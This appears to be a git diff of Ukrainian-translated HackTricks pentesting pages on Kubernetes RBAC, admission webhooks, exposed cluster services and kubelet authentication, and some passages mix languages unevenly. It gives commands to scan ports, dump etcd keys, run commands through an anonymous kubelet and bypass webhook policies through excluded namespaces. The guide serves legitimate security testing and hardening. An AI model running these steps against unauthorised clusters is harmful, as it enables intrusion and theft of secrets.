`serviceaccounts/token`, `nodes/proxy` or `services/proxy`. A permission on `pods` does not automatically grant access to `pods/exec` or `pods/log`. `resourceNames` can restrict some requests to specific object names: ```yaml @@ -136,19 +144,20 @@ resources: ["configmaps"] resourceNames: ["app-config"] verbs: ["get", "update"] ``` -Це не обмежує `create` або `deletecollection` на верхньому рівні за іменем. Для `list` і `watch` клієнт має включити відповідний селектор поля `metadata.name`, інакше запит не буде авторизований цим правилом: +Це не обмежує top-level `create` або `deletecollection` за name. Для `list` і `watch` клієнт має включити відповідний `metadata.name` field selector, інакше запит не авторизується цією rule: ```bash kubectl get configmaps -n default --field-selector=metadata.name=app-config ``` -Використовуйте точні access reviews для high-impact checks: +Використовуйте точні access reviews для high-impact перевірок: ```bash kubectl auth can-i create pods/exec -n default kubectl auth can-i create serviceaccounts/token -n default kubectl auth can-i impersonate users kubectl auth can-i bind clusterroles.rbac.authorization.k8s.io kubectl auth can-i escalate clusterroles.rbac.authorization.k8s.io +kubectl auth can-i impersonate-on:user-info:list pods -n default ``` -## **Перерахування RBAC** +## **Перелік RBAC** ```bash # Get current privileges kubectl auth can-i --list @@ -170,7 +179,7 @@ kubectl describe roles kubectl get rolebindings kubectl describe rolebindings ``` -### Зловживання Role/ClusterRoles для Privilege Escalation +### Зловживання Role/ClusterRoles для підвищення привілеїв {{#ref}} abusing-roles-clusterroles-in-kubernetes/ diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md b/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md index fcfe9128d..6663cd846 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md @@ -2,28 +2,28 @@ {{#include ../../banners/hacktricks-training.md}} -**The original author of this page is** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196) +**Оригінальний автор цієї сторінки** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196) ## Визначення -`ValidatingWebhookConfiguration` — це ресурс Kubernetes, який реєструє один або кілька validating admission webhooks. Ці webhooks отримують запити AdmissionReview від API server після authentication та authorization, але до того, як object буде збережено. +`ValidatingWebhookConfiguration` — це ресурс Kubernetes, який реєструє один або кілька validating admission webhooks. Ці webhooks отримують запити AdmissionReview від API server після authentication і authorization, але до того, як об’єкт буде збережено. -Validating webhooks можуть відхилити запит. Mutating webhooks, налаштовані через `MutatingWebhookConfiguration`, можуть спочатку змінити object. Security reviews зазвичай мають перевіряти обидва ресурси, тому що malicious або слабкий mutating webhook може переписати workloads, тоді як validating webhook або policy engine може заблокувати або дозволити їх. +Validating webhooks можуть відхилити запит. Mutating webhooks, налаштовані за допомогою `MutatingWebhookConfiguration`, спочатку можуть змінити об’єкт. Security reviews зазвичай мають перевіряти обидва ресурси, тому що шкідливий або слабкий mutating webhook може переписати workloads, тоді як validating webhook або policy engine може їх заблокувати або дозволити. ## Призначення -Призначення `ValidatingWebhookConfiguration` — визначити, коли API server має викликати validating webhook і як він має обробити результат webhook. Важливе security-питання не лише в тому, "чи встановлено policy?", а також: +Призначення `ValidatingWebhookConfiguration` — визначити, коли API server має викликати validating webhook і як він має обробляти результат webhook. Важливе security питання не лише в тому, "чи встановлена policy?", а й у наступному: - Які API groups, resources, operations і scopes він відповідає? -- Які namespaces або object виключені через selectors? +- Які namespaces або об’єкти виключені за допомогою selectors? - Чи `matchConditions` пропускає будь-які класи запитів? -- Чи `failurePolicy` виконує fail open з `Ignore` або fail closed з `Fail`? -- Чи доступний webhook service, чи йому довіряє налаштований `caBundle`, і чи він запущений від імені service account з дуже високими привілеями? +- Чи `failurePolicy` робить fail open з `Ignore` або fail closed з `Fail`? +- Чи доступна service webhook, чи довіряє їй налаштований `caBundle`, і чи запускається вона від імені service account з високими привілеями? - Чи policy engine також надає exception resources, excluded users або excluded groups? **Приклад** -Ось приклад `ValidatingWebhookConfiguration`: +Ось приклад ValidatingWebhookConfiguration: ```yaml apiVersion: admissionregistration.k8s.io/v1 kind: ValidatingWebhookConfiguration @@ -53,12 +53,12 @@ matchExpressions: operator: NotIn values: ["kube-system"] ``` -The main difference between a ValidatingWebhookConfiguration and policies : +Головна відмінність між ValidatingWebhookConfiguration і policies :

Kyverno.png

-- **ValidatingWebhookConfiguration (VWC)** : Ресурс Kubernetes, який визначає validating webhook, тобто серверний компонент, що перевіряє вхідні Kubernetes API requests на відповідність набору попередньо визначених правил і обмежень. -- **Kyverno ClusterPolicy**: Визначення policy, яке задає набір правил і обмежень для перевірки та enforcement ресурсів Kubernetes, таких як pods, deployments і services +- **ValidatingWebhookConfiguration (VWC)** : Kubernetes resource, який визначає validating webhook, тобто server-side компонент, що перевіряє вхідні Kubernetes API requests на відповідність набору predefined rules and constraints. +- **Kyverno ClusterPolicy**: policy definition, що specifies набір rules and constraints для validating і enforcing Kubernetes resources, such as pods, deployments, and services ## Enumeration ``` @@ -67,36 +67,57 @@ $ kubectl get validatingwebhookconfiguration -o yaml $ kubectl get mutatingwebhookconfiguration -o yaml $ kubectl get svc,deploy,pod -A | grep -i webhook ``` -Fields to inspect: +Поля для перевірки: -- `rules`: Перевіряйте охоплені API groups, versions, resources, subresources, operations і scope. +- `rules`: Перевірте покриті API groups, versions, resources, subresources, operations і scope. - `namespaceSelector` / `objectSelector`: Шукайте namespaces або labels, які виключають resources з policy. - `matchConditions`: CEL expressions можуть навмисно або випадково пропускати requests. -- `failurePolicy`: `Ignore` дозволяє requests продовжуватися, якщо webhook fail; `Fail` блокує їх. +- `failurePolicy`: `Ignore` дозволяє requests продовжуватися, якщо webhook fails; `Fail` блокує їх. - `sideEffects`: Webhooks із side effects можуть не підтримувати dry-run testing. - `timeoutSeconds`: Дуже короткі timeouts у поєднанні з `Ignore` можуть перетворитися на fail-open behavior. -- `clientConfig`: Перевірте, чи вказує webhook на in-cluster Service або external URL, і проаналізуйте backing workload та service account. -- `reinvocationPolicy`: Mutating webhooks можуть бути reinvoked, коли подальша mutation змінює object. +- `clientConfig`: Перевірте, чи webhook вказує на in-cluster Service або external URL, і проаналізуйте backing workload та service account. +- `reinvocationPolicy`: Mutating webhooks можуть бути reinvoked, коли пізніша mutation змінює object. + +### Native CEL admission policies + +Modern clusters can also enforce admission logic with native policy objects in `admissionregistration.k8s.io`, not only with webhook configurations. `ValidatingAdmissionPolicy` is an in-process CEL-based alternative to validating webhooks and is only active when a `ValidatingAdmissionPolicyBinding` selects it. `MutatingAdmissionPolicy` is stable in Kubernetes v1.36 and is activated by `MutatingAdmissionPolicyBinding` for CEL-generated mutations. + +Перелічіть їх за допомогою: +```bash +kubectl api-resources --api-group=admissionregistration.k8s.io -o wide +kubectl get validatingadmissionpolicies,validatingadmissionpolicybindings +kubectl get mutatingadmissionpolicies,mutatingadmissionpolicybindings 2>/dev/null || true +kubectl get validatingadmissionpolicy -o yaml +kubectl get validatingadmissionpolicybinding -o yaml +``` +Перевірки безпеки: + +- Policy без binding нічого не enforce-ить. +- `validationActions` на binding визначає, чи validation failures будуть denied, warned, audited, або лише recorded. +- `failurePolicy: Ignore` дозволяє помилкам evaluation CEL або misconfiguration fail open. +- `matchConstraints`, `matchConditions`, `namespaceSelector` і `objectSelector` можуть виключати sensitive requests. +- `paramKind` і `paramRef` можуть робити ConfigMaps або parameter objects на основі CRD частиною межі policy; перевірте, хто може змінювати ці parameter objects. +- Записи в policies, bindings і parameter resources слід вважати privileged admission-control changes. ### Abusing Kyverno and Gatekeeper VWC Як ми бачимо, усі встановлені operators мають принаймні одну ValidatingWebHookConfiguration(VWC). -**Kyverno** і **Gatekeeper** — це обидва Kubernetes policy engines, які надають framework для визначення та enforcement policies across a cluster. +**Kyverno** і **Gatekeeper** — це обидва Kubernetes policy engines, які надають framework для визначення та enforce-у policies across a cluster. -Exceptions refer to specific rules or conditions that allow a policy to be bypassed or modified under certain circumstances but this is not the only way ! +Exceptions стосуються specific rules або conditions, які дозволяють policy bypassed або modified за певних circumstances, але це не єдиний спосіб ! Для **kyverno**, оскільки є validating policy, webhook `kyverno-resource-validating-webhook-cfg` populated. -Для Gatekeeper є `gatekeeper-validating-webhook-configuration` YAML file. +Для Gatekeeper, є `gatekeeper-validating-webhook-configuration` YAML file. -Обидва come from with default values but the Administrator teams might updated those 2 files. +Обидва приходять з default values, але Administrator teams можуть оновити ці 2 files. ### Use Case ```bash $ kubectl get validatingwebhookconfiguration kyverno-resource-validating-webhook-cfg -o yaml ``` -Будь ласка, надішліть сам текст виходу, який потрібно ідентифікувати. +Будь ласка, надішліть сам текст, який потрібно ідентифікувати/перекласти. ```yaml namespaceSelector: matchExpressions: @@ -109,22 +130,22 @@ values: - kube-system - MYAPP ``` -Тут `kubernetes.io/metadata.name` refers to мітку назви namespace. Namespaces з назвами у списку `values` будуть excluded з policy: +Here, `kubernetes.io/metadata.name` refers to the namespace name label. Namespaces with names in the `values` list will be excluded from the policy: -Перевірте існування namespaces. Іноді, через automation або misconfiguration, деякі namespaces могли не бути створені. Якщо у вас є permission на створення namespace, ви можете створити namespace з назвою зі списку `values`, і policies не застосовуватимуться до вашого нового namespace. +Check namespaces existence. Sometimes, due to automation or misconfiguration, some namespaces might have not been created. If you have permission to create namespace, you could create a namespace with a name in the `values` list and policies won't apply your new namespace. -Мета цієї атаки — використати **misconfiguration** всередині VWC, щоб bypass обмеження operator-ів, а потім elevate ваші privileges за допомогою інших технік +The goal of this attack is to exploit **misconfiguration** inside VWC in order to bypass operators restrictions and then elevate your privileges with other techniques -Інші поширені patterns bypass або abuse: +Other common bypass or abuse patterns: -- `objectSelector`, який дозволяє users додавати opt-out label до своїх об'єктів. -- `failurePolicy: Ignore` для validation, критично важливої для security, особливо коли webhook Service не має endpoints або має ненадійний networking. -- Винятки policy engine для users, groups, service accounts, namespaces або roles, які ширші, ніж було задумано. -- Відсутність coverage для workload controller templates, `pods/ephemeralcontainers`, `pods/exec`, custom resources або update operations. -- Write access до `validatingwebhookconfigurations`, `mutatingwebhookconfigurations`, Gatekeeper constraints, Kyverno policies або exception resources. -- Шкідливий mutating webhook, який injects containers, змінює images, mounts secrets, додає tolerations або змінює service account selection перед validation. +- An `objectSelector` that allows users to add an opt-out label to their own objects. +- `failurePolicy: Ignore` on security-critical validation, especially when the webhook Service has no endpoints or unreliable networking. +- Policy engine exceptions for users, groups, service accounts, namespaces, or roles that are broader than intended. +- Missing coverage for workload controller templates, `pods/ephemeralcontainers`, `pods/exec`, custom resources, or update operations. +- Write access to `validatingwebhookconfigurations`, `mutatingwebhookconfigurations`, Gatekeeper constraints, Kyverno policies, or exception resources. +- A malicious mutating webhook that injects containers, changes images, mounts secrets, adds tolerations, or changes service account selection before validation. -Пам’ятайте, що admission захищає лише requests, які проходять через admission chain API server. Static Pods, node-local runtime socket access, direct kubelet abuse і direct etcd access — це різні trust paths, які потребують окремого hardening і monitoring. +Remember that admission only protects requests that pass through the API server admission chain. Static Pods, node-local runtime socket access, direct kubelet abuse, and direct etcd access are different trust paths and need separate hardening and monitoring. {{#ref}} abusing-roles-clusterroles-in-kubernetes/ @@ -137,6 +158,8 @@ abusing-roles-clusterroles-in-kubernetes/ - [https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/) - [https://kubernetes.io/docs/concepts/cluster-administration/admission-webhooks-good-practices/](https://kubernetes.io/docs/concepts/cluster-administration/admission-webhooks-good-practices/) - [https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/](https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/) +- [https://kubernetes.io/docs/reference/access-authn-authz/mutating-admission-policy/](https://kubernetes.io/docs/reference/access-authn-authz/mutating-admission-policy/) +- [https://kubernetes.io/docs/reference/using-api/cel/](https://kubernetes.io/docs/reference/using-api/cel/) diff --git a/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md b/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md index bd64bf05b..3491dac58 100644 --- a/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md +++ b/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md @@ -6,7 +6,7 @@ Kubernetes використовує кілька **specific network services**, ## Finding exposed pods with OSINT -One way could be searching for `Identity LIKE "k8s.%.com"` in [crt.sh](https://crt.sh) to find subdomains related to kubernetes. Another way might be to search `"k8s.%.com"` in github and search for **YAML files** containing the string. +Один зі способів — шукати `Identity LIKE "k8s.%.com"` у [crt.sh](https://crt.sh), щоб знайти піддомени, пов’язані з kubernetes. Інший спосіб — шукати `"k8s.%.com"` у github і знаходити **YAML files**, що містять цей рядок. Useful external recon signals to correlate before scanning: @@ -53,15 +53,15 @@ nmap -n -T4 -p 443,2379,6666,4194,6443,8443,8080,10250,10255,10256,9099,6782-678 ``` ### Kube-apiserver -Це **API Kubernetes service**, з яким адміністратори зазвичай взаємодіють, використовуючи інструмент **`kubectl`**. +Це **API-сервіс Kubernetes**, з яким адміністратори зазвичай взаємодіють, використовуючи tool **`kubectl`**. -**Поширені ports: 6443 and 443**, але також 8443 у minikube і 8080 як insecure. +**Common ports: 6443 and 443**, але також 8443 у minikube і 8080 як insecure. ```bash curl -k https://:(8|6)443/swaggerapi curl -k https://:(8|6)443/healthz curl -k https://:(8|6)443/api/v1 ``` -**Перевірте наступну сторінку, щоб дізнатися, як отримати sensitive data та виконувати sensitive actions, взаємодіючи з цим сервісом:** +**Перевірте наступну сторінку, щоб дізнатися, як отримати чутливі дані та виконувати чутливі дії, взаємодіючи з цим сервісом:** {{#ref}} ../kubernetes-enumeration.md @@ -69,18 +69,18 @@ curl -k https://:(8|6)443/api/v1 ### Kubelet API -Цей service **run in every node of the cluster**. Це service, який **control** pods всередині **node**. Він взаємодіє з **kube-apiserver**. +Цей сервіс **запущений на кожному node кластера**. Це сервіс, який **контролює** pods всередині **node**. Він взаємодіє з **kube-apiserver**. -Якщо ви знайдете цей service exposed, можливо, ви знайшли **unauthenticated RCE**. +Якщо ви знайдете цей сервіс exposed, можливо, ви знайшли **unauthenticated RCE**. #### Kubelet API ```bash curl -k https://:10250/metrics curl -k https://:10250/pods ``` -Якщо відповідь `Unauthorized`, тоді потрібна authentication. +Якщо відповідь — `Unauthorized`, тоді потрібна authentication. -Якщо ви можете list nodes, ви можете отримати list kubelets endpoints за допомогою: +Якщо ви можете list nodes, ви можете отримати список kubelets endpoints за допомогою: ```bash kubectl get nodes -o custom-columns='IP:.status.addresses[0].address,KUBELET_PORT:.status.daemonEndpoints.kubeletEndpoint.Port' | grep -v KUBELET_PORT | while IFS='' read -r node; do ip=$(echo $node | awk '{print $1}') @@ -89,7 +89,7 @@ echo "curl -k --max-time 30 https://$ip:$port/pods" echo "curl -k --max-time 30 https://$ip:2379/version" #Check also for etcd done ``` -#### kubelet (Read only) +#### kubelet (Лише для читання) ```bash curl -k https://:10255 http://:10255/pods @@ -104,7 +104,7 @@ etcdctl --endpoints=http://:2379 get / --prefix --keys-only ```bash helm --host tiller-deploy.kube-system:44134 version ``` -Ви могли б зловживати цим сервісом, щоб підвищити привілеї всередині Kubernetes: +Ви можете зловживати цим сервісом, щоб підвищити привілеї всередині Kubernetes: ### cAdvisor @@ -114,15 +114,15 @@ curl -k https://:4194 ``` ### NodePort -Коли порт експонується на всіх вузлах через **NodePort**, той самий порт відкривається на всіх вузлах, проксуючи трафік до оголошеного **Service**. За замовчуванням цей порт буде в діапазоні **30000-32767**. Тому нові неперевірені сервіси можуть бути доступні через ці порти. +Коли порт відкрито на всіх вузлах через **NodePort**, той самий порт відкривається на всіх вузлах, проксуючи трафік до оголошеного **Service**. За замовчуванням цей порт буде в **діапазоні 30000-32767**. Тож нові неперевірені services можуть бути доступні через ці порти. ```bash sudo nmap -sS -p 30000-32767 ``` ### Service mesh and proxy surfaces -Кластери, що використовують **Istio, Linkerd, Cilium service mesh, or Envoy-based gateways**, додають ще один сервісний шар для переліку. Mesh може надавати mTLS, workload identity, L7 routing, authorization policy, telemetry та gateway/egress controls, але він захищає лише трафік, який фактично підключений до mesh і перехоплюється ним. +Кластери, що використовують **Istio, Linkerd, Cilium service mesh, або Envoy-based gateways**, додають ще один рівень services для enumeration. Mesh може надавати mTLS, workload identity, L7 routing, authorization policy, telemetry, а також gateway/egress controls, але він захищає лише той traffic, який фактично підключений і перехоплюється mesh. -Корисні перевірки з Kubernetes access: +Корисні checks з Kubernetes access: ```bash kubectl get ns --show-labels | egrep 'istio|linkerd|mesh|cilium' kubectl get crd | egrep 'istio.io|linkerd.io|gateway.networking.k8s.io|cilium.io' @@ -130,46 +130,56 @@ kubectl get mutatingwebhookconfiguration,validatingwebhookconfiguration | egrep kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,CONTAINERS:.spec.containers[*].name' kubectl get svc -A | egrep 'istio|envoy|linkerd|kiali|jaeger|prometheus|grafana|zipkin|hubble' ``` -Review: +Перегляньте: -- Namespaces or workloads that opted out of injection, still run without a proxy, or were created before injection was enabled. -- mTLS mode. Permissive migration modes may still accept plaintext from unmeshed sources. -- Istio `PeerAuthentication`, `AuthorizationPolicy`, `RequestAuthentication`, gateways, waypoints, and egress resources. -- Linkerd policy resources, identity, Server/authorization objects, and exposed `linkerd-viz`, tap, or metrics surfaces. -- Cilium service mesh and Gateway API resources, Hubble visibility, Cilium policies, and Envoy integration points. -- Envoy admin, config dump, stats, metrics, tracing, dashboard, and debug endpoints. These can leak routes, upstreams, certificates, identity, and traffic state if exposed too broadly. +- Namespaces або workloads, що відмовилися від injection, все ще працюють без proxy, або були створені до увімкнення injection. +- mTLS mode. Permissive migration modes можуть усе ще приймати plaintext від unmeshed джерел. +- Istio `PeerAuthentication`, `AuthorizationPolicy`, `RequestAuthentication`, gateways, waypoints, і egress resources. +- Linkerd policy resources, identity, Server/authorization objects, і exposed `linkerd-viz`, tap, або metrics surfaces. +- Cilium service mesh і Gateway API resources, Hubble visibility, Cilium policies, і Envoy integration points. +- Envoy admin, config dump, stats, metrics, tracing, dashboard, і debug endpoints. Це може витікати routes, upstreams, certificates, identity, і traffic state, якщо вони exposed надто широко. -Do not treat service mesh as a replacement for Kubernetes RBAC or NetworkPolicies. A mesh policy can block an HTTP request while an unmeshed Pod, skipped port, direct Pod IP path, gateway, egress proxy, or missing NetworkPolicy still leaves a practical route. +Не розглядайте service mesh як заміну Kubernetes RBAC або NetworkPolicies. Mesh policy може блокувати HTTP request, але unmeshed Pod, skipped port, direct Pod IP path, gateway, egress proxy, або missing NetworkPolicy все ще залишає практичний route. ## Vulnerable Misconfigurations ### Kube-apiserver Anonymous Access -Anonymous access to **kube-apiserver API endpoints is not allowed**. But you could check some endpoints: +Anonymous access до **kube-apiserver resource APIs should not be allowed**. Health endpoints such as `/livez`, `/readyz`, and `/healthz` можуть бути навмисно reachable, особливо коли API server використовує `AuthenticationConfiguration` to scope anonymous requests to specific paths. Treat health or version responses as reachability evidence; the critical issue is a `200` response for real resource APIs such as namespaces, Secrets, Pods, RBAC objects, metrics, logs, or proxy subresources without valid credentials. ![Kubernetes API server anonymous access output listing exposed API paths](https://www.cyberark.com/wp-content/uploads/2019/09/Kube-Pen-2-fig-5.png) -### **Checking for ETCD Anonymous Access** +Useful checks: +```bash +APISERVER='https://:6443' +curl -sk -o /dev/null -w 'livez=%{http_code}\n' "$APISERVER/livez" +curl -sk -o /dev/null -w 'readyz=%{http_code}\n' "$APISERVER/readyz" +curl -sk -o /dev/null -w 'namespaces=%{http_code}\n' "$APISERVER/api/v1/namespaces" +curl -sk -o /dev/null -w 'clusterroles=%{http_code}\n' "$APISERVER/apis/rbac.authorization.k8s.io/v1/clusterroles" +``` +Якщо resource APIs повертають `403`, API server міг класифікувати запит як `system:anonymous`, але authorization заблокував його. Якщо resource APIs повертають `200` без credentials, перевірте RoleBindings або ClusterRoleBindings для `system:anonymous` чи `system:unauthenticated`, permissive authorizer-chain configuration або front-door authentication mistake. -The ETCD stores the cluster secrets, configuration files and more **sensitive data**. By **default**, the ETCD **cannot** be accessed **anonymously**, but it always good to check. +### **Перевірка ETCD Anonymous Access** -If the ETCD can be accessed anonymously, you may need to **use the** [**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md) **tool**. The following command will get all the keys stored: +ETCD зберігає cluster secrets, configuration files та інші **sensitive data**. **За замовчуванням**, до ETCD **не можна** отримати доступ **анонімно**, але завжди варто перевірити. + +Якщо до ETCD можна отримати anonymous access, вам може знадобитися **використати** [**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md) **tool**. Наступна команда отримає всі збережені keys: ```bash etcdctl --endpoints=http://:2379 get / --prefix --keys-only ``` ### **Kubelet RCE** -[**Kubelet documentation**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/) пояснює, що за **замовчуванням anonymous acce**ss до сервісу **дозволено:** +[**Kubelet documentation**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/) пояснює, що **за замовчуванням anonymous acce**ss до сервісу **дозволений:** -> Увімкнено anonymous requests до Kubelet server. Requests, які не були відхилені іншим методом authentication, розглядаються як anonymous requests. Anonymous requests мають username `system:anonymous` і group name `system:unauthenticated` +> Увімкнути anonymous requests до Kubelet server. Requests, які не відхилені іншим authentication method, розглядаються як anonymous requests. Anonymous requests мають username `system:anonymous` і group name `system:unauthenticated` -Щоб краще зрозуміти, як **працює authentication and authorization of the Kubelet API**, перегляньте цю сторінку: +Щоб краще зрозуміти, як **authentication and authorization of the Kubelet API works**, перегляньте цю сторінку: {{#ref}} kubelet-authentication-and-authorization.md {{#endref}} -Сервіс **Kubelet** **API is not documented**, але source code можна знайти тут, і виявити exposed endpoints так само легко, як **запустити**: +**Kubelet** service **API is not documented**, але source code можна знайти тут, і виявити exposed endpoints так само просто, як **запустити**: ```bash curl -s https://raw.githubusercontent.com/kubernetes/kubernetes/master/pkg/kubelet/server/server.go | grep 'Path("/' @@ -183,11 +193,11 @@ Path("/runningpods/"). ``` Усі вони звучать цікаво. -Ви можете використати інструмент [**Kubeletctl**](https://github.com/cyberark/kubeletctl), щоб взаємодіяти з Kubelets та їхніми endpoints. +Ви можете використовувати інструмент [**Kubeletctl**](https://github.com/cyberark/kubeletctl), щоб взаємодіяти з Kubelets та їхніми endpoints. #### /pods -Цей endpoint перелічує pods та їхні контейнери: +Цей endpoint перелічує pods і їхні containers: ```bash kubeletctl pods ``` @@ -198,13 +208,13 @@ kubeletctl pods kubeletctl exec [command] ``` > [!NOTE] -> Щоб уникнути цієї атаки, сервіс _**kubelet**_ слід запускати з `--anonymous-auth false`, а сервіс має бути ізольований на мережевому рівні. +> Щоб уникнути цієї атаки, сервіс _**kubelet**_ слід запускати з `--anonymous-auth false`, а сервіс має бути ізольований на рівні мережі. -### **Перевірка Exposure інформації Kubelet (Read Only Port)** +### **Checking Kubelet (Read Only Port) Information Exposure** -Коли **kubelet read-only port** доступний, стає можливим отримання інформації з API неавторизованими сторонами. Exposure цього порту може призвести до розкриття різних елементів **cluster configuration**. Хоча інформація, зокрема **pod names, locations of internal files, and other configurations**, може й не бути критичною, її exposure все одно становить ризик для безпеки і його слід уникати. +Коли **kubelet read-only port** доступний, стає можливим отримувати інформацію з API неавторизованими сторонами. Доступність цього порту може призвести до розкриття різних елементів **cluster configuration**. Хоча інформація, зокрема **pod names, locations of internal files, and other configurations**, може й не бути критичною, її розкриття все одно становить ризик для безпеки і його слід уникати. -Приклад того, як цю вразливість можна експлуатувати, передбачає віддаленого атакувальника, який звертається до конкретного URL. Перейшовши за `http://:10255/pods`, атакувальник може потенційно отримати sensitive information з kubelet: +Приклад того, як цю вразливість можна експлуатувати, передбачає, що remote attacker звертається до певного URL. Перейшовши за `http://:10255/pods`, attacker може потенційно отримати sensitive information з kubelet: ![Kubelet read-only port response exposing pod information](https://www.cyberark.com/wp-content/uploads/2019/09/KUbe-Pen-2-fig-6.png) diff --git a/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md b/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md index 1ff02208b..0ad732c0b 100644 --- a/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md +++ b/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md @@ -1,25 +1,25 @@ -# Аутентифікація та авторизація kubelet +# Аутентифікація та авторизація Kubelet {{#include ../../../banners/hacktricks-training.md}} -## Аутентифікація kubelet +## Аутентифікація Kubelet -[**З документа:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/) +[**З docs:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/) -За замовчуванням запити до HTTPS-ендпоінта kubelet, які не відхиляються іншими налаштованими методами аутентифікації, вважаються анонімними запитами і отримують **ім'я користувача `system:anonymous`** та **групу `system:unauthenticated`**. +За замовчуванням запити до HTTPS endpoint kubelet, які не були відхилені іншими налаштованими методами аутентифікації, обробляються як анонімні запити і отримують **username `system:anonymous`** та **group `system:unauthenticated`**. -Існує **3** методи аутентифікації: +Існують **3** **methods** аутентифікації: -- **Anonymous** (за замовчуванням): встановіть параметр **`--anonymous-auth=true` або в конфігурації:** +- **Anonymous** (default): Use set setting the param **`--anonymous-auth=true` or the config:** ```json "authentication": { "anonymous": { "enabled": true }, ``` -- **Webhook**: Це дозволить **увімкнути** kubectl **API bearer tokens** як авторизацію (будь-який дійсний токен буде прийнятий). Дозвольте це за допомогою: -- переконайтеся, що група API `authentication.k8s.io/v1beta1` увімкнена в API-сервері -- запустіть kubelet з флагами **`--authentication-token-webhook`** та **`--kubeconfig`** або використайте наступну настройку: +- **Webhook**: Це **увімкне** kubectl **API bearer tokens** як authorization (будь-який valid token буде valid). Дозвольте це за допомогою: +- переконайтеся, що API group `authentication.k8s.io/v1beta1` увімкнено в API server +- запустіть kubelet з flags **`--authentication-token-webhook`** і **`--kubeconfig`** або використайте таке налаштування: ```json "authentication": { "webhook": { @@ -28,10 +28,11 @@ }, ``` > [!NOTE] -> kubelet звертається до **`TokenReview` API** на налаштованому API-сервері, щоб **визначити інформацію про користувача** з bearer tokens -- **X509 client certificates:** Дозволяють автентифікуватися за допомогою X509 client certs -- дивіться [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) для детальнішої інформації -- запустіть kubelet з прапорцем `--client-ca-file`, надаючи CA bundle для перевірки client certificates. Або з конфігурацією: +> kubelet викликає **`TokenReview` API** на налаштованому API server, щоб **визначити інформацію про користувача** з bearer tokens + +- **X509 client certificates:** Дозволяють автентифікуватися через X509 client certs +- дивіться [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) для більшої кількості деталей +- запустіть kubelet з прапором `--client-ca-file`, надавши CA bundle для перевірки client certificates. Або з config: ```json "authentication": { "x509": { @@ -39,16 +40,16 @@ } } ``` -## Авторизація Kubelet +## Kubelet Authorization -Будь-який запит, який успішно автентифіковано (включно з анонімним запитом), **потім авторизується**. За замовчуванням режим авторизації — **`AlwaysAllow`**, який **дозволяє всі запити**. +Будь-який запит, який успішно автентифіковано (включно з anonymous request), **потім authorized**. **Default** authorization mode — це **`AlwaysAllow`**, який **allows all requests**. -Однак іншим можливим значенням є **`webhook`** (саме це ви **найчастіше зустрінете**). Цей режим **перевіряє права автентифікованого користувача**, щоб дозволити або заборонити виконання дії. +However, інше можливе значення — **`webhook`** (саме це ви **здебільшого й будете знаходити**). Цей mode **перевірятиме permissions автентифікованого user**, щоб allow або disallow дію. > [!WARNING] -> Зверніть увагу, що навіть якщо **анонімна автентифікація увімкнена**, **анонімний доступ** може **не мати жодних прав** для виконання жодної дії. +> Зверніть увагу, що навіть якщо **anonymous authentication is enabled**, **anonymous access** може **не мати жодних permissions** для виконання будь-якої дії. -Авторизацію через webhook можна налаштувати за допомогою параметра **`--authorization-mode=Webhook`** або через файл конфігурації за допомогою: +Authorization via webhook can be configured using **param `--authorization-mode=Webhook`** або via the config file with: ```json "authorization": { "mode": "Webhook", @@ -58,21 +59,21 @@ } }, ``` -Kubelet викликає API **`SubjectAccessReview`** на налаштованому API-сервері, щоб **визначити**, чи кожен запит **авторизований.** +Kubelet викликає API **`SubjectAccessReview`** на налаштованому API server, щоб **визначити**, чи кожен запит **авторизований.** Kubelet авторизує API-запити, використовуючи той самий підхід [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes), що й apiserver: - **Action** | HTTP verb | request verb | -| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| --------- | --------- ------------------------------------------------------------------------------------------------------------------------------------------------------------- | | POST | create | | GET, HEAD | get (for individual resources), list (for collections, including full object content), watch (for watching an individual resource or collection of resources) | | PUT | update | | PATCH | patch | | DELETE | delete (for individual resources), deletecollection (for collections) | -- Ресурс, який опрацьовує Kubelet API, завжди — **nodes**, а **subresource** визначається з шляху вхідного запиту: +- **resource** для звернення до Kubelet api — **завжди** **nodes**, а **subresource** **визначається** за шляхом вхідного запиту: | Kubelet API | resource | subresource | | ------------ | -------- | ----------- | @@ -80,23 +81,38 @@ Kubelet авторизує API-запити, використовуючи той | /metrics/\* | nodes | metrics | | /logs/\* | nodes | log | | /spec/\* | nodes | spec | +| /checkpoint/\* | nodes | checkpoint | | _all others_ | nodes | proxy | -> [!NOTE] -> Запити на основі WebSocket `/exec`, `/run`, `/attach`, and `/portforward` потрапляють у стандартний підресурс **proxy** і авторизуються з 